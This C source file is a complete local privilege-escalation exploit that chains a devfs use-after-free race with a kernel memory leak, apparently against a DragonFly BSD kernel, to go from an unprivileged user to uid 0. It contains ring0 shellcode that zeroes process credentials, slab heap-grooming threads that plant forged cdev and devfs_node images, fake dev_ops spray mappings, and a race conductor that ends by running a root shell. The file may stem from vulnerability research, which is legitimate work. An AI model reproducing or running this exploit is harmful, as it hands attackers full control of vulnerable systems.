/*
 * DF-3017 x DF-2694 COMPOSED CHAIN — unprivileged -> uid=0
 * (stock INVARIANTS kernel, 2-vCPU instantiation, no SMAP/SMEP/KASLR)
 *
 * Primitive DF-3017 (verified): devfs_vop_nresolve -> devfs_allocv drops
 * devfs_lock across getnewvnode() holding a raw devfs_node while the devfs
 * core thread (CPU 0) processes the pty destroy: node freed (devfs_freep),
 * cdev released (release_dev -> sysref_put -> objcache_put).  The victim
 * then reads node->d_dev (freed cdev chunk X), reference_dev(X)
 * (sysref_get: image must have SRF_PUTAWAY CLEAR), dereferences
 * X->si_ops (devfs_core.c:379), associates and CACHES the poisoned vnode
 * (cache_setvp).  The victim's own lstat then runs devfs_vop_getattr on
 * the cached vnode whose D_DISK branch dispatches
 *     dev_dioctl(node->d_dev, DIOCGPART, ...) -> X->si_ops->d_ioctl(&ap)
 * -> our userspace ring0 stub -> p_ucred zeroed -> uid=0.
 *
 * Composition (this file) makes the reclaim deterministic:
 *
 *  1. LOCALITY — every kernel actor of the 320-byte class is pinned to
 *     CPU 0 with the UNPRIVILEGED usched_set(USCHED_DEL_CPU) mask
 *     (kern_usched.c:303 requires no capability — the missing piece of
 *     the 6-vCPU analysis):
 *       - conductor (this process): all ptmx open/close -> every event
 *         cdev is carved from CPU0's ZoneAry[25] (z_Cpu == 0);
 *       - devfs_msg_core (CPU 0, boot-time): every destroy's
 *         objcache_put -> kfree(X) is a LOCAL free -> head of the
 *         owning zone's z_LChunks (kern_slaballoc.c:1584);
 *       - hammers (CPU 0): writev(20-iovec) EPIPE loops -> kmalloc(320)
 *         + copyin(image) + kfree each iteration, so the TAIL zone's
 *         free-list head always carries the weapon image.
 *
 *  2. SATURATION CHOREOGRAPHY (per cycle):
 *       a. STORM: close W parked ptys -> 2W cdev objcache_puts on CPU0
 *          fill both per-cpu magazines and the depot -> every further
 *          put takes the kern_objcache.c corner case and kfree()s
 *          directly into the slab zones.
 *       b. PURGE: open W ptys (held) -> pops every magazine/depot object
 *          out of the cdev objcache, so the NEXT alloc back-allocates
 *          from the slab = TAIL-zone head chunk (image chunk, ctor
 *          bzeroes it — irrelevant, the image matters only when FREE).
 *       c. EVENTS: open K event ptmx fds -> their pts/ptm cdevs are
 *          TAIL-zone chunks; announce the units to the victims.
 *       d. SETTLE: let the core drain the storm FIFO (devfs_lock churn
 *          stretches every victim's allocv lock-drop window).
 *       e. FIRE: close the K events one by one.  destroy_dev is an
 *          ASYNC msg (devfs_msg_send_dev) — each event's destroy
 *          processes alone after the queue empties: kfree(X) local ->
 *          tail head -> a spinning hammer pops X within microseconds,
 *          plants si_ops=&fake_dev_ops(0x40000000), PUTAWAY-clear
 *          sysref, and frees it back to the head.  The victim, queued
 *          on devfs_lock behind the storm, re-acquires AFTER the
 *          replant and reads the IMAGE.
 *       f. the racing victim's lstat continues into getattr on the
 *          cached poisoned vnode -> dispatch -> ring0 stub -> uid=0.
 *
 *  3. DF-2694's arbitrary read (df2694_recon, same kernel) supplies the
 *     allocator ground truth this rig is sized against and verifies the
 *     planted image in the wild (see run_chain.sh stages A/B).
 *
 * usage: df3017c calib <ms>                # hammers only (stage B verify)
 *        df3017c [secs [W [K [P]]]]        # full race (default 240s)
 */
#include <sys/param.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <sys/sysctl.h>
#include <sys/types.h>
#include <sys/uio.h>
#include <sys/usched.h>
#include <errno.h>
#include <fcntl.h>
#include <pthread.h>
#include <signal.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#include <unistd.h>

#ifndef USCHED_DEL_CPU
#define USCHED_DEL_CPU 3
#endif

/* ---- kernel layout (DWARF-verified on the running stock kernel) */
#define CDEV_SI_UMINOR     48
#define CDEV_SI_HLIST      80
#define CDEV_SI_OPS        168
#define CDEV_SI_IOSIZE_MAX 184
#define CDEV_SYSREF_REFCNT 232	/* low 32 = refcnt, high 32 = flags */
#define SRF_ALLOCATED      0x0002
#define SRF_PUTAWAY        0x0004

#define D_DISK    0x0002
#define D_MPSAFE  0x00400000
#define D_QUICK   0x01000000

#define OPS_HEAD_FLAGS 12
#define OPS_D_OPEN     40
#define OPS_D_CLOSE    48
#define OPS_D_IOCTL    72

#define FAKEOPS_BASE  0x40000000UL
#define SC_ADDR       0x40000100UL
#define STUB_ADDR     0x40000200UL
#define JUNK_BASE     0x40001000UL
#define FAKECDEV_BASE 0x40010000UL	/* userspace fake cdev (no SMAP) */

/* ops-spray: junk-overlaid chunks carry user-pointer si_ops values
 * clustering in ~0x6ad2xxxx / ~0x0891xxxx.  Map + PRE-FAULT those
 * ranges with a 16-byte repeating dev_ops pattern so ANY 16-aligned
 * junk si_ops dereference lands on {head.flags@+12 = D_DISK|D_MPSAFE|
 * D_QUICK, d_ioctl@+72 = SC} and dispatches the ring0 stub instead of
 * faulting ("Fatal user address access").  Raw kernel mov's of user
 * VA only survive if the page is ALREADY resident -- hence populate. */
struct sprayrange { unsigned long base, len; };
static const struct sprayrange sprays[] = {
	{ 0x60000000UL, 0x10000000UL },
	{ 0x08000000UL, 0x02000000UL },
	{ 0, 0 }
};

/* struct devfs_node offsets (DWARF-verified) */
#define NODE_DDEV     0
#define NODE_MP       8
#define NODE_VNODE    0x28
#define NODE_PARENT   0x30
#define NODE_TYPE     0x38
#define NODE_MODE     0x80
#define NODE_UID      0x84
#define NODEV_NDEV    4			/* enum devfs_nodetype Ndev */

#define MAXPOOL  300	/* SINGLE-ZONE working set: 320B zone holds ~409
			 * chunks = ~204 ptys (2 cdevs each); keeping the
			 * whole circulating park+event population inside
			 * one zone makes every freed cdev land in the zone
			 * the hammers image */
#define KMAX     8
#define NCHURN   4		/* parallel event threads (cpu0)  */
#define NSLOT    4		/* announce slots per churn thread */
#define WIN_MS   12		/* race window per storm          */
#define NHAMMER  4		/* spin hammers (cpu0): ONE running
				 * hammer images the head every ~1-2us; more
				 * only starves the churn that arms the corner */
#define NVICTIM  6		/* lstat victims (floating)       */

static int W_STORM  = 64;	/* storm closes per cycle   */
static int P_SLACK  = 96;	/* extra purge opens        */
static int win_ms   = WIN_MS;

static int NCPU = 2;
static volatile int stop, win;
static volatile int stream_on;	/* event threads active */
static unsigned char image[320];
static unsigned char nimage[240];	/* forged devfs_node (15 iovs) */
static int node_armed;		/* nimage has a valid mp */
static unsigned long leak_mp;		/* real devfs mount ptr */
static int pool_fds[MAXPOOL];
static int npool;
static long n_cycles, n_events, n_open_fail, n_storm_closes;

/* sliding announce window: churn thread i owns anns[i*NSLOT..] */
struct ann { volatile long long until_us; volatile int unit; };
static struct ann anns[NCHURN * NSLOT];
static volatile int ann_active;

static double now_us(void)
{
	struct timespec ts;
	clock_gettime(CLOCK_MONOTONIC, &ts);
	return ((double)ts.tv_sec * 1e6 + (double)ts.tv_nsec / 1e3);
}

static void pin_keep_cpu(int keep)
{
	int c;
	for (c = 0; c < NCPU; c++) {
		if (c == keep)
			continue;
		usched_set(0, USCHED_DEL_CPU, &c, sizeof(c));
	}
}

/* ring0 stub: gs:0 -> gd_curthread -> td_proc(+0xa8) -> p_ucred(+0x10)
 * cr_uid(+0x40)=0 cr_ruid(+0xa0)=0 cr_svuid(+0xa4)=0
 * cr_ngroups(+0x44)=1 cr_groups[0](+0x48)=0 ; xor eax,eax ; ret */
static const unsigned char sc_bytes[] = {
	0x65, 0x48, 0x8b, 0x04, 0x25, 0x00, 0x00, 0x00, 0x00,
	0x48, 0x8b, 0x40, 0x08,
	0x48, 0x8b, 0x88, 0xa8, 0x00, 0x00, 0x00,
	0x48, 0x85, 0xc9,
	0x75, 0x10,
	0x48, 0x8b, 0x88, 0xa0, 0x00, 0x00, 0x00,
	0x48, 0x8b, 0x49, 0x30,
	0x90, 0x90, 0x90, 0x90, 0x90,
	0x48, 0x8b, 0x49, 0x10,
	0xc7, 0x41, 0x40, 0x00, 0x00, 0x00, 0x00,
	0xc7, 0x81, 0xa0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0xc7, 0x81, 0xa4, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0xc7, 0x81, 0x44, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00,
	0xc7, 0x81, 0x48, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x31, 0xc0,
	0xc3,
};
static const unsigned char stub_bytes[] = { 0x31, 0xc0, 0xc3 };

static void put64(void *p, size_t o, uint64_t v) { memcpy((unsigned char *)p + o, &v, 8); }
static void put32(void *p, size_t o, uint32_t v) { memcpy((unsigned char *)p + o, &v, 4); }

static void
map_payload(void)
{
	void *p;
	int i;

	p = mmap((void *)FAKEOPS_BASE, 0x4000,
		 PROT_READ | PROT_WRITE | PROT_EXEC,
		 MAP_FIXED | MAP_PRIVATE | MAP_ANON, -1, 0);
	if (p != (void *)FAKEOPS_BASE) { perror("mmap fakeops"); exit(2); }
	p = mmap((void *)JUNK_BASE, 0x20000, PROT_READ | PROT_WRITE,
		 MAP_FIXED | MAP_PRIVATE | MAP_ANON, -1, 0);
	if (p != (void *)JUNK_BASE) { perror("mmap junk"); exit(2); }
	for (i = 0; i < 0x20000 / 4096; i++)
		((volatile unsigned char *)JUNK_BASE)[i * 4096] = 1;

	put32((void *)FAKEOPS_BASE, OPS_HEAD_FLAGS,
	      D_DISK | D_MPSAFE | D_QUICK);
	put64((void *)FAKEOPS_BASE, OPS_D_OPEN,  SC_ADDR);
	put64((void *)FAKEOPS_BASE, OPS_D_CLOSE, STUB_ADDR);
	put64((void *)FAKEOPS_BASE, OPS_D_IOCTL, SC_ADDR);
	put64((void *)FAKEOPS_BASE, 32, STUB_ADDR);
	put64((void *)FAKEOPS_BASE, 56, STUB_ADDR);
	put64((void *)FAKEOPS_BASE, 64, STUB_ADDR);
	put64((void *)FAKEOPS_BASE, 80, STUB_ADDR);
	p = mmap((void *)FAKECDEV_BASE, 0x1000,
		 PROT_READ | PROT_WRITE,
		 MAP_FIXED | MAP_PRIVATE | MAP_ANON, -1, 0);
	if (p != (void *)FAKECDEV_BASE) { perror("mmap fakecdev"); exit(2); }

	/* the complete fake cdev, entirely in userspace (no SMAP): the
	 * forged node's d_dev points here */
	{
		unsigned char fc[320];
		memset(fc, 0, sizeof(fc));
		put32(fc, CDEV_SI_UMINOR, 0x1337);
		strcpy((char *)fc + 88, "pts/31337");
		put64(fc, CDEV_SI_OPS, FAKEOPS_BASE);
		put64(fc, CDEV_SI_IOSIZE_MAX, 0x10000);
		put64(fc, CDEV_SYSREF_REFCNT, 0x21);
		memcpy((void *)FAKECDEV_BASE, fc, sizeof(fc));
	}
	memcpy((void *)SC_ADDR, sc_bytes, sizeof(sc_bytes));
	memcpy((void *)STUB_ADDR, stub_bytes, sizeof(stub_bytes));

	/* ops-spray: 16-byte repeating pattern:
	 *   +0  q0 = (flags << 32) | SC_ADDR   -> head.flags@+12 = flags
	 *   +8  q1 = SC_ADDR                    -> d_ioctl@+72 etc = SC
	 * (72 mod 16 == 8 -> q1;  12 mod 16 lands in q0's high dword) */
	{
		const struct sprayrange *sr;
		unsigned long pat[2];
		pat[0] = ((unsigned long)(D_DISK | D_MPSAFE | D_QUICK) << 32)
		    | SC_ADDR;
		pat[1] = SC_ADDR;
		for (sr = sprays; sr->len; sr++) {
			unsigned long *p = mmap((void *)sr->base, sr->len,
			    PROT_READ | PROT_WRITE,
			    MAP_FIXED | MAP_PRIVATE | MAP_ANON, -1, 0);
			if (p != (unsigned long *)sr->base) {
				perror("mmap spray");
				continue;
			}
			/* populate + pattern in one pass */
			{
				unsigned long i, n = sr->len / 16;
				for (i = 0; i < n; i++) {
					p[2 * i] = pat[0];
					p[2 * i + 1] = pat[1];
				}
			}
			printf("spray %#lx+%#lx armed\n", sr->base, sr->len);
		}
	}
}

/* Load the node template leaked by the DF-2694 recon stage: a freed
 * pts devfs_node carries the REAL devfs mount pointer (mp) and the
 * Ndev type.  Patch d_dev to the userspace fake cdev and v_node NULL,
 * zero the TAILQ links; the result is a fully valid forged node the
 * racing victim can walk end-to-end. */
static void
build_node_image(void)
{
	FILE *f;
	static unsigned char tpl[240];
	int ok = 0;

	f = fopen("/tmp/recon.node.tpl", "r");
	if (f) {
		if (fread(tpl, 1, 232, f) == 232)
			ok = 1;
		fclose(f);
	}
	if (ok) {
		memcpy(nimage, tpl, 232);
		memset(nimage + 232, 0, 8);
		leak_mp = *(unsigned long *)(nimage + NODE_MP);
		if ((leak_mp >> 48) != 0xffff || leak_mp == 0)
			ok = 0;
		if (*(int *)(nimage + NODE_TYPE) != NODEV_NDEV)
			ok = 0;		/* template must be a Ndev node */
	}
	if (!ok) {
		memset(nimage, 0, sizeof(nimage));
		*(int *)(nimage + NODE_TYPE) = NODEV_NDEV;
		*(unsigned short *)(nimage + NODE_MODE) = 0620;
	}
	/*
	 * THE DUAL-ROLE IMAGE.  kfree() writes the zone freelist link at
	 * chunk offset 0 (kern_slaballoc.c:1584) -- which is exactly
	 * devfs_node.d_dev.  A freed imaged node therefore always shows
	 * d_dev = (the next freed chunk on the list, N).  So the image is
	 * forged to ALSO be a complete fake cdev for whichever imaged
	 * chunk the link chases to:
	 *   N + 168 (si_ops)   = FAKEOPS_BASE  -> dev_is_good/D_DISK/
	 *                        dev_dioctl all dispatch through it
	 *   N + 232 (sysref)   = refcnt 0x21, flags 0 -> sysref_get OK
	 *   N + 80  (si_hlist) = NULL         -> SLIST insert absorbed
	 * and the node half keeps the REAL leaked mp (offset 8) so
	 * getnewvnode/mnt_vn_spec_ops stay valid.
	 */
	put64(nimage, NODE_DDEV, 0);	/* clobbered by the free link anyway */
	put64(nimage, NODE_VNODE, 0);
	put64(nimage + 168, 0, FAKEOPS_BASE);	/* cdev role: si_ops */
	put64(nimage + 232, 0, 0x21);		/* cdev role: sysref */
	put64(nimage + 80, 0, 0);		/* cdev role: si_hlist */
	put64(nimage + 0xc8, 0, 0);			/* link.tqe_next */
	put64(nimage + 0xc8, 8, 0);			/* link.tqe_prev */
	put64(nimage + 0xd8, 0, 0);			/* list.tqh_first */
	put64(nimage + 0xd8, 8, 0);			/* list.tqh_last */
	node_armed = ok;
}

static void
build_images(void)
{
	memset(image, 0, sizeof(image));
	put32(image, CDEV_SI_UMINOR, 0x1337);
	put64(image, CDEV_SI_OPS, FAKEOPS_BASE);
	put64(image, CDEV_SI_IOSIZE_MAX, 0x10000);
	put64(image, CDEV_SYSREF_REFCNT, 0x21);	/* refcnt=0x21 flags=0 */
	put64(image, 32, JUNK_BASE);
	put64(image, 40, 0x0000010000000000UL);
}

/* ------------------------- rig threads ------------------------- */

extern char *ptsname(int);	/* DF libc has it; headers hide it */

static double now_us(void);
static int pty_unit_of(int fd);

/* victim: lstat every announced live unit.  The churn's
 * open/announce/µs-live/close flap keeps each unit's namecache entry
 * invalidated, so these lstats re-enter nresolve -> devfs_allocv
 * constantly -- the DF-3017 race -- and the survivor's own lstat then
 * dispatches the ring0 stub through devfs_vop_getattr. */
static void *
statloop(void *arg __unused)
{
	struct stat st;
	char path[32];
	int i, n;

	for (;;) {
		if (stop || win)
			return NULL;
		if (!ann_active) {
			usleep(100);
			continue;
		}
		long long now = (long long)now_us();
		n = NCHURN * NSLOT;
		for (i = 0; i < n; i++) {
			long long until = anns[i].until_us;
			if (until < now)
				continue;
			int u = anns[i].unit;
			if (u < 0)
				continue;
			snprintf(path, sizeof(path), "/dev/pts/%d", u);
			if (lstat(path, &st) == 0) {
				/* forged signature: the weapon image carries
				 * si_uminor=0x1337; a victim that associated
				 * the poisoned vnode sees it in st_rdev */
				if ((st.st_rdev & 0xfffff) == 0x1337) {
					printf("[MARK] unit %d st_rdev minor "
					    "0x1337 -- vnode POISONED\n", u);
					fflush(stdout);
				}
			}
			access(path, W_OK);
			if (win || stop)
				return NULL;
		}
		if (getuid() == 0) {
			win = 1;
			return NULL;
		}
	}
	return NULL;
}

/* churn: parallel short-lived event ptys on cpu0.  Aggregate churn
 * pressure against the storm-pinned magazines means nearly every event
 * cdev free takes the objcache corner case (kern_objcache.c:706-717)
 * and kfree()s directly into the CPU0 tail zone (kern_slaballoc.c:1584)
 * where the hammers hold the free-list head armed. */
static void *
churn(void *arg)
{
	long id = (long)arg;
	struct ann *mine = &anns[id * NSLOT];
	int slot = 0;
	int hfd[2];
	int fd, u;

	if (pipe(hfd) != 0)
		return NULL;
	close(hfd[0]);

	pin_keep_cpu(0);
	while (!stop && !win) {
		if (!stream_on) {
			usleep(200);
			continue;
		}
		fd = open("/dev/ptmx", O_RDWR | O_NOCTTY);
		if (fd < 0) {
			n_open_fail++;
			usleep(500);
			continue;
		}
		n_events++;
		u = pty_unit_of(fd);
		if (u >= 0) {
			struct ann *a = &mine[slot];
			slot = (slot + 1) % NSLOT;
			a->unit = -1;
			__asm__ __volatile__ ("mfence" ::: "memory");
			a->until_us = 0;
			__asm__ __volatile__ ("mfence" ::: "memory");
			a->unit = u;
			a->until_us = (long long)now_us() + 3000;
		}
		/* RANDOMIZED µs-scale pty lifetime: the destroy must be
		 * able to land inside a victim's first-resolve allocv
		 * window for this unit, so the close time sweeps the whole
		 * range from ~0 (original-rig destroy-rain) to 600us.
		 * Interleaved writevs keep the tail-zone head replanted. */
		{
			unsigned r = (unsigned)(now_us() + n_events + id);
			int hold_us = (int)(r % 600);
			writev(hfd[1], (struct iovec *)image, 20);
			if (hold_us > 60)
				usleep(hold_us);
			else
				writev(hfd[1], (struct iovec *)image, 20);
		}
		writev(hfd[1], (struct iovec *)image, 20);
		close(fd);
		writev(hfd[1], (struct iovec *)image, 20);
		writev(hfd[1], (struct iovec *)image, 20);
		if (win || stop)
			return NULL;
	}
	return NULL;
}

/* node hammer: 15-iovec EPIPE writev = kmalloc(240)+copyin(nimage)+
 * kfree -- the 240-byte class is the devfs_node zone (zoneindex 22).
 * Keeps the freed-node free-list head armed with the forged node whose
 * d_dev points at the userspace fake cdev. */
static void *
nodehammer(void *arg)
{
	int pin = (long)arg;
	int pfd[2];
	long iter = 0;

	pin_keep_cpu(pin);
	if (pipe(pfd) != 0)
		return NULL;
	close(pfd[0]);
	while (!stop && !win) {
		writev(pfd[1], (struct iovec *)nimage, 15);
		if (++iter % 256 == 0) {
			sched_yield();
			if (getuid() == 0) { win = 1; break; }
		}
	}
	return NULL;
}

/* pulse hammer: cycles MANY chunks per wave.  Each of KP pipes gets
 * filled, then a blocking writev parks the weapon image in a DISTINCT
 * allocated chunk (kmalloc+copyin); draining the pipes EPIPEs all of
 * them, kfree-ing K image-laden chunks onto the zone head.  Unlike the
 * spin hammer (which LIFO-ping-pongs a single head chunk), the pulse
 * wave re-images the whole head region of the zone every ~100us, so a
 * raced chunk that landed at freelist depth > 0 is still armed before
 * the victim reads it. */
#define KPULSE 8
static void *
pulsehammer(void *arg)
{
	int pin = (long)arg & 1;
	int isnode = ((long)arg >> 1) & 1;
	int rfd[KPULSE], wfd[KPULSE];
	char junk[512];
	int i;

	pin_keep_cpu(pin);
	memset(junk, 1, sizeof(junk));
	while (!stop && !win) {
		for (i = 0; i < KPULSE; i++) {
			int pfd[2];
			if (pipe(pfd) != 0)
				break;
			rfd[i] = pfd[0];
			wfd[i] = pfd[1];
			/* fill the pipe so the weapon writev blocks */
			for (;;) {
				ssize_t r = write(wfd[i], junk, sizeof(junk));
				if (r <= 0)
					break;
			}
		}
		/* park K image-laden chunks (blocking writevs) */
		for (i = 0; i < KPULSE; i++)
			writev(wfd[i],
			    (struct iovec *)(isnode ? nimage : image),
			    isnode ? 15 : 20);
		/* release: EPIPE all -> K imaged chunks freed */
		for (i = 0; i < KPULSE; i++) {
			close(rfd[i]);
			close(wfd[i]);
		}
		if (getuid() == 0) { win = 1; break; }
		sched_yield();
	}
	return NULL;
}

/* hammer: EPIPE writev = kmalloc(320)+copyin(image)+kfree; keeps the
 * CPU0 tail-zone free-list head armed with the weapon image. */
static void *
hammer(void *arg __unused)
{
	int pfd[2];
	long iter = 0;

	pin_keep_cpu(0);
	if (pipe(pfd) != 0)
		return NULL;
	close(pfd[0]);

	while (!stop && !win) {
		writev(pfd[1], (struct iovec *)image, 20);
		if (++iter % 256 == 0) {
			sched_yield();
			if (getuid() == 0) { win = 1; break; }
		}
	}
	return NULL;
}

extern char *ptsname(int);	/* DF libc has it; headers hide it */

static int
pty_unit_of(int fd)
{
	struct stat st;
	const char *t;

	/* ptsname of the master gives /dev/pts/N */
	t = ptsname(fd);
	if (t && strncmp(t, "/dev/pts/", 9) == 0)
		return atoi(t + 9);
	t = ttyname(fd);
	if (t && strncmp(t, "/dev/pts/", 9) == 0)
		return atoi(t + 9);
	if (fstat(fd, &st) == 0)
		return (int)(st.st_rdev & 0xfffff);
	return -1;
}

/* ------------------------- conductor ------------------------- */
static void
pool_close_n(int n)
{
	while (n-- > 0 && npool > 0)
		close(pool_fds[--npool]);
}

static void
pool_open_n(int n)
{
	int fd;
	while (n-- > 0 && npool < MAXPOOL - 1) {
		fd = open("/dev/ptmx", O_RDWR | O_NOCTTY);
		if (fd < 0) {
			n_open_fail++;
			break;
		}
		pool_fds[npool++] = fd;
	}
}

static void
win_shutdown(void)
{
	int fd;

	printf("WIN: getuid()=%d geteuid()=%d\n", getuid(), geteuid());
	fflush(stdout);
	fd = open("/tmp/df3017.root", O_CREAT | O_WRONLY | O_TRUNC, 0666);
	if (fd >= 0) {
		dprintf(fd, "uid=0 via DF-3017 x DF-2694 chain\n");
		close(fd);
	}
	fd = open("/tmp/df3017.uid0", O_CREAT | O_WRONLY | O_TRUNC, 0666);
	if (fd >= 0) {
		dprintf(fd, "cycles=%ld events=%ld uid=%d\n",
		    n_cycles, n_events, getuid());
		close(fd);
	}
	/* marker on the serial console: uid0 can write /dev/console, so
	 * the host driver can watch the serial line instead of polling
	 * over ssh (which pollutes the 240-byte zone with tcpcb junk) */
	fd = open("/dev/console", O_WRONLY);
	if (fd >= 0) {
		dprintf(fd, "\nDF3017-CHAIN-WON uid=0 euid=0 cycles=%ld events=%ld\n",
		    n_cycles, n_events);
		close(fd);
	}
}

int
main(int argc, char **argv)
{
	int calib_ms = 0;
	int secs = 240, i;
	pthread_t th[64];
	int nth = 0;
	double t_start;

	if (argc > 1 && !strcmp(argv[1], "calib")) {
		calib_ms = (argc > 2) ? atoi(argv[2]) : 2000;
	} else {
		if (argc > 1) secs     = atoi(argv[1]);
		if (argc > 2) W_STORM  = atoi(argv[2]);
		if (argc > 3) win_ms    = atoi(argv[3]);
		if (argc > 4) P_SLACK  = atoi(argv[4]);
	}
	{
		size_t sz = sizeof(NCPU);
		if (sysctlbyname("hw.ncpu", &NCPU, &sz, NULL, 0) != 0)
			NCPU = 2;
	}

	signal(SIGPIPE, SIG_IGN);
	map_payload();
	build_images();
	build_node_image();
	printf("node-image %s (mp=%#lx, d_dev=%#lx)\n",
	    node_armed ? "ARMED" : "unarmed(mp-missing)", leak_mp,
	    (unsigned long)FAKECDEV_BASE);
	fflush(stdout);
	sleep(3);	/* let the launch ssh session drain away */

	printf("DF-3017x2694 chain: uid=%d ncpu=%d %s W=%d win=%dms P=%d "
	    "fakeops=%#lx sc=%#lx\n", getuid(), NCPU,
	    calib_ms ? "CALIB" : "RACE", W_STORM, win_ms, P_SLACK,
	    FAKEOPS_BASE, SC_ADDR);
	fflush(stdout);

	/* victims FIRST: inherit the unrestricted mask (float on any cpu) */
	for (i = 0; i < NVICTIM; i++)
		pthread_create(&th[nth++], NULL, statloop, NULL);

	/* main (conductor) pins itself; hammers+churn inherit cpu0 */
	pin_keep_cpu(0);
	printf("conductor pinned to cpu0\n");
	fflush(stdout);

	if (calib_ms) {
		for (i = 0; i < 6; i++)
			pthread_create(&th[nth++], NULL, hammer, NULL);
		usleep(calib_ms * 1000);
		stop = 1;
		for (i = 0; i < nth; i++) {
			void *rv;
			struct timespec ts = { 0, 50 * 1000 * 1000 };
			pthread_timedjoin_np(th[i], &rv, &ts);
		}
		printf("calib done\n");
		return 0;
	}

	for (i = 0; i < NHAMMER; i++)
		pthread_create(&th[nth++], NULL, hammer, NULL);
	/* node-image spin hammers: the freed event node lands at its
	 * zone's free-list HEAD and is imaged within microseconds */
	if (node_armed) {
		for (i = 0; i < 4; i++)
			pthread_create(&th[nth++], NULL, nodehammer,
			    (void *)(long)(i & 1));
	}
	for (i = 0; i < NCHURN; i++)
		pthread_create(&th[nth++], NULL, churn, (void *)(long)i);

	/* Park: sized so the window is decisively net-free (bleed puts
	 * far exceed churn gets -> objcache corner case stays armed). */
	pool_open_n(250);
	pool_close_n(W_STORM);
	pool_open_n(W_STORM);
	printf("primed single-zone park=%d\n", npool);
	fflush(stdout);

	t_start = now_us();
	while (!win && (now_us() - t_start) / 1e6 < secs) {
		n_cycles++;

		/* a. STORM: close W newest parked ptys — 2W cdev puts on
		 *    cpu0 pin both magazines and the depot full; from here
		 *    every further put takes the objcache corner case and
		 *    kfree()s directly into the CPU0 slab zones. */
		pool_close_n(W_STORM);
		n_storm_closes += W_STORM;

		/* a2. SETTLE: let the core chew the storm FIFO before any
		 *    event free lands (early frees would recycle into the
		 *    partially-filled magazines as stale PUTAWAY chunks). */
		usleep(5000);

		/* b. WINDOW: churn opens µs-lived event ptys whose cdevs
		 *    recycle the (tail-zone-only) magazine population;
		 *    their frees kfree into the tail-zone head where the
		 *    hammers replant the weapon image; victims race every
		 *    destroy through the stretched allocv window. */
		ann_active = 1;
		stream_on = 1;
		{
			/* BLEED + REPLANT: close one parked pty every
			 * ~25us -- sustained net-free keeps the magazines
			 * pinned full so the churn's event frees overflow
			 * (kern_objcache.c corner case) and kfree directly
			 * into the CPU0 tail zone; interleaved writev
			 * bursts keep the imaging cadence comparable.
			 * Imaging is cumulative: a kfree'd chunk keeps its
			 * forged si_ops until something kmallocs it, so
			 * each event cdev only has to reach the free-list
			 * head once to stay armed. */
			double tend = now_us() + (double)win_ms * 1000.0;
			double tend_settle = tend + 6000.0;
			int hb[2];
			if (pipe(hb) == 0) {
				close(hb[0]);
				while (now_us() < tend_settle && !win) {
					int j;
					for (j = 0; j < 6; j++)
						writev(hb[1],
						    (struct iovec *)image, 20);
					if (npool > 64)
						pool_close_n(1);
					usleep(60);
					if (now_us() >= tend)
						stream_on = 0;
				}
				close(hb[1]);
			} else {
				usleep(win_ms * 1000);
			}
		}
		stream_on = 0;
		ann_active = 0;

		if (win)
			break;

		/* c. QUIET DRAIN: with everything stopped the magazines
		 * are still pinned full; the core finishes the remaining
		 * destroy backlog under saturation, so even the last
		 * event cdevs kfree instead of mag-recycling stale. */
		usleep(8000);

		/* d. TOP-UP: reopen to the fixed single-zone level. */
		pool_open_n(250 - npool > 0 ? 250 - npool : 0);

		if (n_open_fail > 4096)
			break;
		if (n_cycles % 25 == 0) {
			printf("[%5.1fs] cycles=%ld events=%ld pool=%d "
			    "openfail=%ld uid=%d\n",
			    (now_us() - t_start) / 1e6, n_cycles, n_events,
			    npool, n_open_fail, getuid());
			fflush(stdout);
		}
	}

	printf("race done (%s after %.1fs, cycles=%ld events=%ld "
	    "storms=%ld)\n", win ? "WIN" : "timeout",
	    (now_us() - t_start) / 1e6, n_cycles, n_events, n_storm_closes);
	fflush(stdout);

	if (win) {
		stop = 1;
		for (i = 0; i < nth; i++) {
			void *rv;
			struct timespec ts = { 0, 50 * 1000 * 1000 };
			pthread_timedjoin_np(th[i], &rv, &ts);
		}
		win_shutdown();
		execl("/bin/sh", "sh", "-c",
		      "id; echo uid0-shell-ok; "
		      "id > /tmp/df3017.id; "
		      "echo PWNED-DF3017-CHAIN > /tmp/df3017.root", NULL);
		/* not reached on success */
	}
	stop = 1;
	for (i = 0; i < nth; i++) {
		void *rv;
		struct timespec ts = { 0, 50 * 1000 * 1000 };
		pthread_timedjoin_np(th[i], &rv, &ts);
	}
	return win ? 0 : 1;
}
